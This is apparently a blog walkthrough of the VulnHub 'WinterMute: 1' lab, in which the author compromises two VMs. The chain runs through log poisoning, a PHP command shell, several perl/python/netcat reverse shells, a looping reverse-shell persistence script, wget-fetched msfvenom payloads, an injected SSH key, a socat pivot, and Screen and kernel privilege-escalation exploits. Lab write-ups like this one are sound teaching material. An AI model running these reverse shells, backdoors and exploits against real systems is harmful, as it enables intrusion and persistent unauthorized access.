seekorswim My Security Blog

WinterMute: 1

VulnHub URL: https://www.vulnhub.com/entry/wintermute-1,239/
Hostname: HOST1: straylight, HOST2: neuromancer
IP Address: HOST1: 10.183.0.211/192.168.56.102, HOST2: 192.168.56.101


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.211.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/wintermute# nmap -Pn -sT -sV -sC -A -oA wintermute-straylight -p 1-65535 10.183.0.211
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 13:41 EDT
Nmap scan report for straylight.homenet.dom (10.183.0.211)
Host is up (0.0014s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE            VERSION
25/tcp   open  smtp               Postfix smtpd
|_smtp-commands: straylight, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=straylight
| Subject Alternative Name: DNS:straylight
| Not valid before: 2018-05-12T18:08:02
|_Not valid after:  2028-05-09T18:08:02
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http               Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Night City
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_  Logs: submit
| hadoop-tasktracker-info:
|_  Logs: submit
| http-title: Welcome to ntopng
|_Requested resource was /lua/login.lua?referer=/
|_http-trane-info: Problem with XML parsing of /evox/about
MAC Address: 08:00:27:50:96:D9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host:  straylight

TRACEROUTE
HOP RTT     ADDRESS
1   1.43 ms straylight.homenet.dom (10.183.0.211)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.91 seconds


Gaining Access


Looking at the services and software versions detected by nmap, I notice:
  • the SMTP service supports the VRFY command (so we can likely enumerate valid accounts)
  • the HTTP service on TCP port 80 is using Apache 2.4.25 (which doesn't have any major issues)
  • the HTTP service on TCP port 3000 is running ntopng (which has some CSRF and XSS issues, but can also allow us to view traffic... if we can login).

I'll start by scanning the HTTP service on TCP port 80 with nikto.

root@kali:~/Walkthroughs/wintermute# nikto -h http://10.183.0.211
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.183.0.211
+ Target Hostname:    10.183.0.211
+ Target Port:        80
+ Start Time:         2019-05-01 13:46:07 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 146, size: 56c0ddaf44f8b, mtime: gzip
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2019-05-01 13:47:11 (GMT-4) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto didn't find anything that interesting, so I'll see if there are some other directories using dirb. Unfortunately, dirb didn't find anything helpful either.

Checking the default site, we have a fun "storyline" printed to the screen, but not much to "hack".


I'll move on to the ntopng service and see if there are some leads there. Visiting the default site for the HTTP service on TCP port 3000, we are greeted with a login screen.


The "Hint" at the bottom of the login form also lets us know the default credentials. 😄

After logging in and digging around, we notice the following Info under Flows.


The Info column has some URLs that wouldn't have turned up in our brute force scanning. I'm going to check them out.

The http://10.183.0.211/freeside/ URL doesn't return anything interesting, but the http://10.183.0.211/turing-bolo/ page has an interactive form.


Selecting "Case" and clicking Submit takes me to http://10.183.0.211/turing-bolo/bolo.php?bolo=case

This page provides a "log" of activity, but also mentions logs for other users from the dropdown list.


Modifying the querystring in the URL, we can load the other user's log file by just changing the 'bolo' variable. We can also load the .log files directly by just specifying the file: http://10.183.0.211/turing-bolo/case.log

This tells us the PHP code for bolo.php is likely just taking the 'bolo' parameter from the URL and appending ".log" to it to know which file to load. If that's the case, we might be able to use parent paths to load any ".log" file on the system... if we know where they are. Since we know this system has a mail service available, let's start by trying to load 'mail.log' from /var/log. To do that, our URL will be: http://10.183.0.211/turing-bolo/bolo.php?bolo=/var/log/mail. Notice we don't put 'mail.log', since the PHP code is appending '.log' when loading the file.


That worked! Now that we know we can load the mail log through PHP, the next step is to try to get PHP code into the mail log. We can see in the log that the mail service is using Postfix version 3.1.8, so let's check the exploit database.

Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection                                          | exploits/linux/remote/34896.py

This exploit doesn't match our version number, but does match what we want to do. The python script sets a "payload" in several of the possible SMTP headers which, if we can get any of those headers to show up in the log, might allow us to get command execution. Let's try it out.

root@kali:~/Walkthroughs/wintermute# cp /usr/share/exploitdb/exploits/linux/remote/34896.py .
root@kali:~/Walkthroughs/wintermute# python 34896.py
shellshock_smtp.py <target> <command>

I copy the script to my working directory and run it to see the parameters it wants. Now I'll try to set up a simple PHP command processor in the mail log.

root@kali:~/Walkthroughs/wintermute# python 34896.py 10.183.0.211 '<?php echo system($_GET["cmd"]); ?>'

If this worked, we should be able to request the mail log with an additional 'cmd' parameter to execute a system command. Let's try it with the 'id' command.

http://10.183.0.211/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=id

Looks like it worked!


Now we can use the command execution to try to get a reverse shell. First, we'll start our listeners in Metasploit. I like to use two listeners because the first one (established through a web request) can often timeout pretty quickly.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5433

Next, we'll build our URL with our system command that will use netcat to establish the reverse shell. I'll URL encode the following command.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.183.0.222 5432 >/tmp/f

Then make the request to http://10.183.0.211/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.183.0.222%205432%20%3E%2Ftmp%2Ff

And we have our session...

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.211:50800) at 2019-05-01 14:53:55 -0400

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

pwd
/var/www/html/turing-bolo
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
[*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.211:40352) at 2019-05-01 14:54:07 -0400

background

Background session 1? [y/N]  y
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

www-data@straylight:/var/www/html/turing-bolo$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@straylight:/var/www/html/turing-bolo$


Maintaining Access


Since there isn't a SSH service available, I won't be able to SSH to the box with this account. I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

root@kali:~/Walkthroughs/wintermute# cat thumbs
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
root@kali:~/Walkthroughs/wintermute# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.211 - - [01/May/2019 14:58:47] "GET /thumbs HTTP/1.1" 200 -

I uploaded the script to the victim's /var/www/html/turing-bolo directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

www-data@straylight:/var/www/html/turing-bolo$ wget -O thumbs 10.183.0.222:4321/thumbs
--2019-05-01 11:58:47--  http://10.183.0.222:4321/thumbs
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 309 [application/octet-stream]
Saving to: 'thumbs'

     0K                                                       100% 67.7M=0s

2019-05-01 11:58:47 (67.7 MB/s) - 'thumbs' saved [309/309]

www-data@straylight:/var/www/html/turing-bolo$ chmod +x thumbs
www-data@straylight:/var/www/html/turing-bolo$ ./thumbs &
[1] 5295


Privilege Escalation


One of the first things I like to do is check the $PATH for programs with the "sticky" bit set and root as the owner. These program can sometimes be used (abused) to gain root access. To do that, I run the following command.

www-data@straylight:/$ for path in $(echo $PATH | tr ":" "\n"); do find $path -user root -perm -4000 2>&1 | grep -v "Permission denied"; done
ser root -perm -4000 2>&1 | grep -v "Permission denied"; done
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/bin/su
/bin/umount
/bin/mount
/bin/screen-4.5.0
/bin/ping

Most of these are typical, but the one that stands out is screen (with a helpful version number in the name). Checking the exploit database, we happen to have a known privilege escalation issue with this version.

GNU Screen 4.5.0 - Local Privilege Escalation                                                                | exploits/linux/local/41154.sh

I copy the shell script to my working directory and then use python's SimpleHTTPServer to transfer it to the victim's /tmp directory.

root@kali:~/Walkthroughs/wintermute# cp /usr/share/exploitdb/exploits/linux/local/41154.sh .
root@kali:~/Walkthroughs/wintermute# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.211 - - [01/May/2019 15:09:04] "GET /41154.sh HTTP/1.1" 200 -

On the victim, I use wget to pull down the file, make it executable, and then try to run it, but get an error...

www-data@straylight:/tmp$ cd /tmp
www-data@straylight:/tmp$ wget -O 41154.sh 10.183.0.222:4321/41154.sh
--2019-05-01 12:09:04--  http://10.183.0.222:4321/41154.sh
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1192 (1.2K) [text/x-sh]
Saving to: '41154.sh'

41154.sh            100%[===================>]   1.16K  --.-KB/s    in 0s

2019-05-01 12:09:04 (204 MB/s) - '41154.sh' saved [1192/1192]


www-data@straylight:/tmp$ chmod +x 41154.sh
chmod +x 41154.sh
www-data@straylight:/tmp$ ./41154.sh
./41154.sh
bash: ./41154.sh: /bin/bash^M: bad interpreter: No such file or directory

Errors like this are typically due to bad line endings (windows instead of unix). I'll run dos2unix on the script on my local machine and re-download it on the victim.

root@kali:~/Walkthroughs/wintermute# dos2unix 41154.sh
dos2unix: converting file 41154.sh to Unix format...

Now I'll try to run it again...

www-data@straylight:/tmp$ ./41154.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:5: warning: implicit declaration of function 'chmod' [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^~~~~
/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:5: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
     setuid(0);
     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
     setgid(0);
     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function 'seteuid' [-Wimplicit-function-declaration]
     seteuid(0);
     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
     setegid(0);
     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^~~~~~
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

And it worked! 😄

Let's get the flag from /root.

# cd /root
# cat flag.txt
5ed185fd75a8d6a7056c96a436c6d8aa

In most cases, we'd be done now, but this challenge involves two VMs. The second VM is not accessible on the local network and can only be reached by pivoting through our compromised VM.

We even have a note.txt in our /root directory that continues the "storyline".

# cat note.txt
Devs,

Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI.

The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.

Anyways, we've deployed the war file on tomcat as ordered - located here:

/struts2_2.3.15.1-showcase

It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing.

Regards,

Bob Laugh
Turing Systems Engineer II
Freeside//Straylight//Ops5

This note gives us the URL we'll target on our second machine. Now, we just have to figure out how to get there.


Pivoting


The first thing we need to do is determine which networks are available from our compromised system. There are lots of ways we can do that, but we'll start with ifconfig.

root@straylight:/root# ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.183.0.211  netmask 255.255.255.0  broadcast 10.183.0.255
        inet6 fe80::a00:27ff:fe50:96d9  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:50:96:d9  txqueuelen 1000  (Ethernet)
        RX packets 2523046  bytes 491110659 (468.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2508477  bytes 1236698801 (1.1 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.102  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::a00:27ff:fea9:7af0  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:a9:7a:f0  txqueuelen 1000  (Ethernet)
        RX packets 140  bytes 52630 (51.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 40  bytes 6314 (6.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 345815  bytes 30093643 (28.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 345815  bytes 30093643 (28.6 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

It looks like the new subnet we'll be trying to reach is 192.168.56.0/24. We'll do a very quick ping sweep (all hosts in parallel) from the victim machine to see what is alive on the subnet.

root@straylight:/root# for i in {1..254} ;do (ping -c 1 192.168.56.$i | grep "bytes from" &) ;done
64 bytes from 192.168.56.1: icmp_seq=1 ttl=64 time=0.338 ms
64 bytes from 192.168.56.102: icmp_seq=1 ttl=64 time=0.027 ms
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=1.35 ms

The .1 address is likely the gateway, so we'll target the 192.168.56.101 address. We'll use netcat on the victim machine to do a quick portscan.

root@straylight:/root# for p in $(seq 1 65535); do (nc -nvzw1 192.168.56.101 $p 2>&1 | grep open &) ;done
(UNKNOWN) [192.168.56.101] 1194 (openvpn) : Connection refused
(UNKNOWN) [192.168.56.101] 8009 (?) open
(UNKNOWN) [192.168.56.101] 8080 (http-alt) open
(UNKNOWN) [192.168.56.101] 34483 (?) open

Looks like we have three open ports (the 'openvpn' port just showed up because we grepped 'open'). We'll use socat on our victim to make the open ports on the internal system available to our attacking machine. We'll also open one port on the victim that will allow the internal machine to reach our attacking machine (in case we want to transfer files to it or have it connect back a reverse shell).

root@straylight:/root# socat tcp-listen:8009,fork tcp:192.168.56.101:8009 &
[1] 11720
root@straylight:/root# socat tcp-listen:8080,fork tcp:192.168.56.101:8080 &
[2] 11721
root@straylight:/root# socat tcp-listen:34483,fork tcp:192.168.56.101:34483 &
[3] 11722
root@straylight:/root# socat tcp-listen:4321,fork tcp:10.183.0.222:4321 &
[4] 11723

Before connecting to the identified HTTP service on TCP port 8080, I'll use netcat to connect to the other two services just to see if we can tell anything about them.

Connecting to TCP port 8009 doesn't return anything. However, connecting to TCP port 34483 returns...

root@straylight:/root# nc 192.168.56.101 34483
nc 192.168.56.101 34483
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

Protocol mismatch.

So, we can probably SSH to the server on TCP port 34483 if we get some credentials.

OK. Let's use the URL from our note in /root and visit http://10.183.0.211:8080/struts2_2.3.15.1-showcase

The site exists and looks like it has lots of "attack surface". Let's check the exploit database.

Apache Struts 2.3.x Showcase - Remote Code Execution                                                         | exploits/multiple/webapps/42324.py

Looks like we have a known remote code issue with the demo site. Not a big surprise. I'll copy the python script and see what we need to do to make it work.

root@kali:~/Walkthroughs/wintermute# cp /usr/share/exploitdb/exploits/multiple/webapps/42324.py .
root@kali:~/Walkthroughs/wintermute# dos2unix 42324.py
root@kali:~/Walkthroughs/wintermute# python 42324.py
python 42324.py <url> <cmd>

Looks like the script wants a URL and a CMD. That doesn't probably tell me enough about what it's going to do, so I'll dig more into the code. There is a comment at the bottom of the code that gives me a good example.

# $ ncat -v -l -p 4444 &
# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"

I'll go ahead and start a listener in metasploit on the one port the protected system can reach me on (thanks to socat).

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 4321
LPORT => 4321
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:4321

Now it is time to craft my script parameters. You never know if a host is going to support the -e option of netcat, so we might have to try multiple different types of reverse shell. Also note, we are sending the reverse shell back to 192.168.56.102, which should relay that to our attacking machine. First, we'll try the following...

root@kali:~/Walkthroughs/wintermute# python 42324.py http://10.183.0.211:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc -e /bin/sh 192.168.56.102 4321"
[*] exploit Apache Struts2 S2-048
[+] command: nc -e /bin/sh 192.168.56.102 4321

Well, no session was created in Metasploit. Not a big surprise. Let's see if we can start a shell using perl or python.

root@kali:~/Walkthroughs/wintermute# python 42324.py http://10.183.0.211:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "perl -e 'use Socket;$i=\"192.168.56.102\";$p=4321;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
[*] exploit Apache Struts2 S2-048
[+] command: perl -e 'use Socket;="192.168.56.102";=4321;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

root@kali:~/Walkthroughs/wintermute# python 42324.py http://10.183.0.211:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.102\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
[*] exploit Apache Struts2 S2-048
[+] command: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Nope! To be honest, these commands are pretty complex and probably more than the Java interpreter will allow. Maybe we can call wget and have the server download a reverse shell payload, then make a second call to execute the payload.

We'll use msfvenom to create our reverse shell payload. We don't know the architecture of the remote system, but the victim we've already compromised in x64, so we'll start with that.

root@kali:~/Walkthroughs/wintermute# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.102 LPORT=4321 -f elf -o pwn
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: pwn

We'll use the python SimpleHTTPServer to host our payload and hope the remote system has wget so it can download it. Also, because we only opened one port back to our attacking machine, we'll have to stop our Metasploit listener on TCP port 4321 so we can start our SimpleHTTPServer. Once we've transferred the file, we can restart the listener.

We transfer the file... AND set it as executable... (in two separate calls)...

root@kali:~/Walkthroughs/wintermute# python 42324.py http://10.183.0.211:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget -O /tmp/pwn 192.168.56.102:4321/pwn"                                                                                                                          [*] exploit Apache Struts2 S2-048
[+] command: wget -O /tmp/pwn 192.168.56.102:4321/pwn
root@kali:~/Walkthroughs/wintermute# python 42324.py http://10.183.0.211:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/pwn"
[*] exploit Apache Struts2 S2-048
[+] command: chmod +x /tmp/pwn

Stop the SimpleHTTPServer and restart our Metasploit listener... then try to execute the file...

root@kali:~/Walkthroughs/wintermute# python 42324.py http://10.183.0.211:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/pwn"
[*] exploit Apache Struts2 S2-048
[+] command: chmod +x /tmp/pwn
root@kali:~/Walkthroughs/wintermute# python 42324.py http://10.183.0.211:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "/tmp/pwn"    [*] exploit Apache Struts2 S2-048
[+] command: /tmp/pwn

Checking Metasploit and...

msf5 exploit(multi/handler) > [*] Command shell session 3 opened (10.183.0.222:4321 -> 10.183.0.211:44336) at 2019-05-01 16:34:59 -0400

msf5 exploit(multi/handler) > sessions 3
[*] Starting interaction with 3...

pwd
/
id
uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

It worked! We have our session on the remote machine.

Checking /etc/passwd, we find out the following about our account.

ta@neuromancer:/var$ grep `whoami` /etc/passwd
ta:x:1000:1000:Tessier-Ashpool,,,:/home/ta:/bin/bash

Looks like we should be able to set up SSH keys for our account and SSH to the system over TCP port 34483.

ta@neuromancer:/home/ta$ ls -laF
total 56
drwxr-xr-x 6 ta   ta   4096 Jul  1  2018 ./
drwxr-xr-x 4 root root 4096 Jul  1  2018 ../
-rw------- 1 ta   ta     54 Jul  3  2018 .bash_history
-rw-r--r-- 1 ta   ta    220 May 18  2018 .bash_logout
-rw-r--r-- 1 ta   ta   3900 May 18  2018 .bashrc
drwx------ 2 ta   ta   4096 May 18  2018 .cache/
drwxrwxr-x 3 ta   ta   4096 May 18  2018 .m2/
drwxrwxr-x 2 ta   ta   4096 May 18  2018 .oracle_jre_usage/
-rw-r--r-- 1 ta   ta    655 May 18  2018 .profile
-rw------- 1 ta   ta   4538 Jul  1  2018 .viminfo
-rw-rw-r-- 1 ta   ta    352 Jul  1  2018 ai-gui-guide.txt
drwxrwxr-x 4 ta   ta   4096 May 18  2018 myWebApp/
-rw-r----- 1 ta   ta     82 May 18  2018 velocity.log
ta@neuromancer:/home/ta$ mkdir .ssh
ta@neuromancer:/home/ta$ cd .ssh
ta@neuromancer:/home/ta/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChngLDhjAg2kqWpnqjnQNJNYpE4eRKgQHrDc6r1SS8L23ur47+Au6cQR0b6dJqZ6/zfDjXQCZnKcBB5nPZQ7lh85wzqUowy+V5HbBc3catzxJe8OY3SYgxH9KQyRPMSdhcGv0/+n5ZmB6eP/aA0JHtmPf+LS1pgLQWuC0aZMdpj9pkjGSubClHjDBckhqBDkrUB9cF7+Z7ZCrdfQWgZyZDjnWjcF5VLbbCfmyWRKnG9mxHL31eS2V8OKdMvAgqAo3pyw19VT4y8dwcMdnSZ4VHFLzybvpMx5Qh0OTvfKHcLEUildKiHrMBoerBaYVSHtabnXE8bX1psjPjNOS8d9P1 root@kali" > authorized_keys
<SHtabnXE8bX1psjPjNOS8d9P1 root@kali" > authorized_keys

Now we will SSH to the system on our published socket through the original victim...

root@kali:~/Walkthroughs/wintermute# ssh -i neuromancer-ta -p 34483 ta@10.183.0.211
The authenticity of host '[10.183.0.211]:34483 ([10.183.0.211]:34483)' can't be established.
ECDSA key fingerprint is SHA256:oUL2wjfAFRqayjqOgc79xVYeSqvD92zqaV+4udNxJrw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[10.183.0.211]:34483' (ECDSA) to the list of known hosts.
----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
----------------------------------------------------------------
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.

Last login: Tue Jul  3 21:53:25 2018
ta@neuromancer:~$

Nice to be in a fully functional shell! 😎

Checking the running kernel and os...

ta@neuromancer:/etc$ uname -a
Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ta@neuromancer:/etc$ cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04.4 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.4 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

There's one very specific issue listed in the exploit database that seems to match...

Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                       | exploits/linux/local/44298.c

Even though it is listed as "< 4.4.0-116", looking at the code, it seems to be tested against kernel 4.4.0-116. Unfortunately, gcc is not available on the remote machine.

ta@neuromancer:/etc$ gcc -h
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'

I'll see if I can cross compile the exploit and transfer it to the remote machine using the SimpleHTTPServer.

root@kali:~/Walkthroughs/wintermute# cp /usr/share/exploitdb/exploits/linux/local/44298.c .
root@kali:~/Walkthroughs/wintermute# gcc -o pwn2 44298.c
root@kali:~/Walkthroughs/wintermute# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.211 - - [01/May/2019 17:18:48] "GET /pwn2 HTTP/1.1" 200 -

And on the remote machine...

ta@neuromancer:/tmp$ wget -O pwn2 192.168.56.102:4321/pwn2
--2019-05-01 14:18:47--  http://192.168.56.102:4321/pwn2
Connecting to 192.168.56.102:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17880 (17K) [application/octet-stream]
Saving to: 'pwn2'

pwn2                                  100%[=======================================================================>]  17.46K  --.-KB/s    in 0s      

2019-05-01 14:18:47 (257 MB/s) - 'pwn2' saved [17880/17880]

ta@neuromancer:/tmp$ chmod +x pwn2
ta@neuromancer:/tmp$ ./pwn2
task_struct = ffff88003c269c00
uidptr = ffff880035000304
spawning root shell
root@neuromancer:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(ta)

We have root! Let's get the flag.

root@neuromancer:/tmp# cd /root
root@neuromancer:/root# cat flag.txt
be3306f431dae5ebc93eebb291f4914a


Clean Up


On straylight...
*** STOP /var/www/html/turing-bolo/thumbs ***
*** REMOVE /var/www/html/turing-bolo/thumbs ***
*** STOP all socat processes ***

On neuromancer...
*** STOP /tmp/pwn ***
*** REMOVE /tmp/pwn ***
*** STOP /tmp/pwn2 ***
*** REMOVE /tmp/pwn2 ***


Additional Info


tomcat-users.xml

Checking the tomcat-users.xml file in /usr/local/tomcat/conf on neuromancer, we see the credentials for Lady3Jane (along with a funny message).

